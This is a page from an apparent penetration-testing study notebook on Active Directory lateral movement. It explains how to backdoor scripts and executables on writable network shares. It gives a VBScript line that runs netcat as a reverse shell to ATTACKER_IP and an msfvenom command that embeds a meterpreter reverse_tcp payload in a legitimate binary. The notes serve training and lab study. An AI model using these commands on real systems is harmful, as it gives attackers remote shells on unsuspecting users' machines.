⌨️
Penetration testing & ethical hacking concepts
  • Introduction
    • Resources
  • 💿Virtualbox network setup
    • What is VirtualBox?
    • NAT
    • NAT network
    • Bridged adapter
    • Internal network
    • pfSense
    • vboxmanage
    • Overview
  • 🕵️OSINT
    • What is OSINT?
    • Google dorks
    • Metadata
    • Social media
      • osintagram
  • Tools
    • waybackurls
    • recon-ng
    • sherlock
    • maltego
    • theHarvester
    • photon
    • spiderfoot
  • 😨Social Engineering
    • What is social engineering?
    • 7 tricks of social engineering
    • Email phishing
    • Typosquatting
    • Compiled resources
  • 😈MitM attack
    • What is MitM attack?
    • ARP spoof/poison
    • DNS spoof/poison
    • HTTP MitM attack
    • ICMP redirect attack
    • DHCP spoofing
    • Evil twin attack
    • Experiment (guest network)
    • Compiled resources
  • 🔌UPnP exploitation
    • What is UPnP?
    • What is SSDP?
    • IGD functions
    • LAN devices
    • Compiled resources
  • Network Reconnaissance & Attacks
    • What is network recon & attacks?
  • 1️⃣ Network live host discovery
    • What is network live host discovery?
    • nmap
    • arp-scan
    • masscan
  • 2️⃣ Network port scan/services enumeration
    • What is network port scan/services enumeration?
    • nmap
    • netcat
  • 3️⃣ Network services vulnerability scanning & exploitation
    • What is network vulnerability scanning/exploitation?
    • 20/21 ~ FTP
    • 22 ~ SSH
    • 25 ~ SMTP
    • 53 ~ DNS
    • 80/443 ~ HTTP/HTTPS
    • 110 ~ POP3
    • 111/2049 ~ RPC/NFS
    • 139/445 ~ SMB
    • 143 ~ IMAP
    • 3389 ~ RDP
  • Vulnerability & exploitation
    • Database
    • Metasploit
    • Msfvenom
    • Binary Exploitation
      • Computer architecture
        • Instruction Set Architecture (ISA)
          • x86 (32-bit)
          • x64 (64-bit)
          • ARM32
          • ARM64/AArch64
        • Memory Organization
          • General memory layout
        • System-Level Architecture
          • User vs Kernel space
      • Buffer Overflow
        • x86 (32-bit)
      • Tools
        • gdb, mona, ghidra, ...
  • Misconfigurations
    • .DS_Store
  • Web Application Penetration Testing
    • Introduction
    • Injection attacks
      • SSTI
      • SQL injection
        • Filter evasion techniques
        • Practical challenge examples
          • TryHackMe
            • Burp suite: Repeater room
            • Advanced SQL Injection
    • Server-Side attacks
      • Server-side Request Forgery (SSRF)
      • File inclusion & Path traversal
        • PHP wrappers
      • Insecure Direct Object Reference (IDOR)
      • Upload vulnerabilities
        • File extension cheat-sheet
      • Insecure deserialization
        • PHP magic methods
        • Tools
      • Prototype pollution
    • Client-Side attacks
      • CSRF
      • CORS & SOP
      • CORS vs CSRF
      • Cross-site scripting (XSS)
    • HTTP Request Smuggling
      • HTTP
      • HTTP/2
    • Web Content Discovery
      • Directories/URLs gathering
      • Subdomain enumeration
  • Authentication/session management
    • OWASP WSTG-SESS-10 ~ JSON Web Token (JWT)
    • OWASP WSTG-ATHZ-05 ~ OAuth weaknesses
  • Webshell
  • Web API pentesting
    • Resources
    • Methodology
    • jq
    • httpx
    • ParamSpider
  • Web app pentesting methodology
  • OWASP
    • OWASP top 10 2021
    • OWASP API top 10 2023
    • Web Security Testing Guide (WSTG)
      • WSTG-ATHZ
        • WSTG-ATHZ-05 ~ OAuth weaknesses
      • WSTG-SESS
        • WSTG-SESS-10 ~ JWT
  • General web knowledge
    • URI standard (RFC 3986)
    • HTTP headers
      • Exploitable headers
      • Request Smuggling
  • 🛣️Attacks on routing protocols
    • What are attacks on routing protocols?
    • BGP hijacking
  • 🏕️To explore
    • MQTT
    • Routersploit
    • DNS rebinding attack
    • LLMNR/mDNS poisoning
  • 👤Anonymity
    • VPN
    • Proxychains
    • TOR
    • Obfuscation
  • Credentials brute-force/cracking
    • Introduction
    • Windows SAM database
    • Dictionary attack
    • Rainbow attack
      • Hash database
    • Tools
      • Hydra
      • John the ripper
      • Hashcat
      • hash-identifier
  • Post-exploitation
    • Gaining shell
      • netcat
      • socat
      • powershell
      • bash
      • PHP
    • Repository
  • Privilege escalation
    • Linux
      • Repositories
      • Enumeration
      • Vulnerabilities exploit
        • General
        • Kernel exploit
        • Sudo
        • SUID
        • Capabilities
        • Cronjobs
        • $PATH
        • NFS (target-machine)
        • Filesystem sharing
          • NFS (attacker-machine)
    • Windows
      • Password harvesting
      • Vulnerabilities exploit
        • Scheduled tasks
        • AlwaysInstallElevated
        • Service misconfigurations
          • Insecure permissions on service executable
          • Unquoted service path
          • Insecure service permission
        • Abusing privileges
  • Ⓜ️MITRE ATT&CK
    • Introduction
  • 🧰Tools/services
    • Introduction
    • Web application pentesting
      • Web discovery/fuzzing
        • paramspider
        • arjun
        • katana
      • dirsearch
      • uro
      • Password brute-forcing
      • Burp Suite (Community)
      • scanners
        • ZAP (Zed Attack Proxy)
        • nikto
        • nuclei
    • Information gathering/reconnaissance
    • Network recon & attacks
      • nmap (general overview)
      • scapy
      • bettercap
    • General
      • impacket
    • Wordlists
      • cewl
  • Professional report writing
    • Report template
      • Web applicaton pentesting
        • OWASP report layout
  • Tasks on-the-go
    • Note taking on-the-go
    • Other tips
  • Practice
    • Web Application Pentesting
      • OWASP
        • OWASP Juice Shop
        • OWASP Mutillidae II
        • OWASP Hackademic
      • Vulnhub
        • ...
      • Damn Vulnerable Web Application (DVWA)
    • Metasploitable 2
  • Operational Security (OpSec)
    • Hardening
      • General
      • Oracle VirtualBox
      • Web Browser
      • VPN/Proxy
  • Safe document viewer
    • PDF
    • .docx
  • Write-ups
    • TryHackMe
      • Silver Platter
      • Light
      • Pickle Rick
      • Hammer
        • Enumeration (active recon)
          • /hmr
          • Further directory discovery
          • /phpmyadmin
          • burp suite sitemap
        • Brute forcing 4-digit code
        • Retrieving the flag
      • OWASP Top 10 - 2021 (task 22)
      • sqlmap
      • Injectics
      • Include
        • Initial enumeration
        • Express app (port 4000)
          • SSRF vulnerability
        • Apache web server (port 50000)
          • LFI + path traversal
        • Further learning
          • Other access methods
          • Gaining remote shell with LFI2RCE
          • Inspecting Express app source code
    • OverTheWire
      • Untitled
    • OWASP
      • OWASP Juice Shop
      • OWASP WebGoat
  • AI prompt
    • ChatGPT
  • Windows Active Directory
    • Introduction
    • Initial Access
      • Authentication
        • NetNTLM
      • Others
    • Enumeration
      • runas.exe
      • Microsoft Management Console (MMC)
      • Command Prompt (cmd)
      • Powershell
        • ObjectClass
      • Bloodhound
        • Data collectors
          • Sharphound
        • Cypher
    • Lateral movement & Pivoting
      • Example scenario
      • Spawning remote processes
        • Psexec
        • WinRM
        • sc.exe
        • schtasks
        • Example
      • Windows Management Instrumentation (WMI)
        • Example
      • Leveraging alternate authentication materials
        • Pass-the-Hash (NTLM)
        • Pass-the-Ticket (Kerberos)
        • Pass-the-Key/Overpass-the-Hash (Kerberos)
      • Abusing user behavior
        • Abusing writable shares
        • RDP hijacking
    • Tools
      • Responder
      • mimikatz
        • sekurlsa::pth
Powered by GitBook
On this page
  1. Windows Active Directory
  2. Lateral movement & Pivoting
  3. Abusing user behavior

Abusing writable shares

PreviousAbusing user behaviorNextRDP hijacking

Last updated 1 day ago

CtrlK
  • Resources
  • Backdoor mechanism
  • (1) Backdoor via .vbs scripts
  • (2) Backdoor via .exe files

Resources

  1. CreateObject function

  1. Run method

  1. copy

  1. msfvenom

Backdoor mechanism

It is quite common to find network shares that hosts executable or scripts created by the administrator, that users can use to perform daily tasks. This is useful for users since they can execute the shared resource without copying or installing it.

Whenever a user opens the shortcut on their workstation, the executable or script will be copied from the server to the local %temp% folder, where it will be executed. Thus, any payload will run in the context of the final user's workstation and logged-in user account.

If the share is writable by anyone (or at least our compromised account), we can abuse this to create a backdoor.

(1) Backdoor via .vbs scripts

Given that we have found a VBS (.vbs ) script running hosted on the share, we can inject a malicious code into script to provide ourselves with a backdoor.

Step 1

First, we have to upload a binary (such as nc64.exe ) that will aid us in creating the backdoor. This can be achieved using smbclient.

Step 2

Next, we can inject the malicious in the existing script. Assuming that the writable share is at \\TARGET_IP\writable_share .

CreateObject("WScript.Shell").Run "cmd.exe /c copy /y \\TARGET_IP\writable_share\nc64.exe %temp% & %temp%\nc64.exe -e cnd.exe ATTACKER_IP PORT", 0, True

Essentially, this command executes a command using cmd.exe which calls the copy command to copy the uploaded nc64.exe binary (uploaded to share) to the %temp% directory, before executing a reverse shell that provides us a backdoor to the system.

  • the /y flag provided to copy means

Suppresses prompting to confirm that you want to overwrite an existing destination file.

According to this page, the following describes the last 2 values provided to the Run method:

  • intWindowStyle

Optional. Integer value indicating the appearance of the program's window. Note that not all programs make use of this information.

value of 0 : "Hides the window and activates another window."

  • bWaitOnReturn

Optional. Boolean value indicating whether the script should wait for the program to finish executing before continuing to the next statement in your script.

If set to True , script execution halts until the program finishes.

Step 3

Finally, we have to start a listener using the exploit/multi/handler from Metasploit. Now, we will gain a remote shell on a user's desktop whenever someone executes this script.

(2) Backdoor via .exe files

Given that we have found a Windows binary such as an .exe file, we can download it from the share and use msfvenom to inject a backdoor functionality. The result is a binary that still fulfils its original purpose, but execute an additional payload silently.

Step 1

We can use the downloaded binary as a template to create a new malicious binary (suppose the binary is named vuln.exe):

$ msfvenom --platform windows -x vuln.exe -k -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -b "\x00" -f exe -o mal_vuln.exe

Step 2

Finally, we have to start a listener using the exploit/multi/handler from Metasploit. Now, whenever someone executes this script, we will gain a remote shell on that user's desktop. Now, we will gain a remote shell on a user's desktop whenever someone executes the binary.

.Run - VBScript - SS64.comss64.com
copyMicrosoftLearn
CreateObject function (Visual Basic for Applications)MicrosoftLearn
VBScript - Run Method (Windows Script Host)
Msfvenom | Penetration testing & ethical hacking conceptsjarrettgxz-sec.gitbook.io
Logo
Logo
Logo
Logo
Logo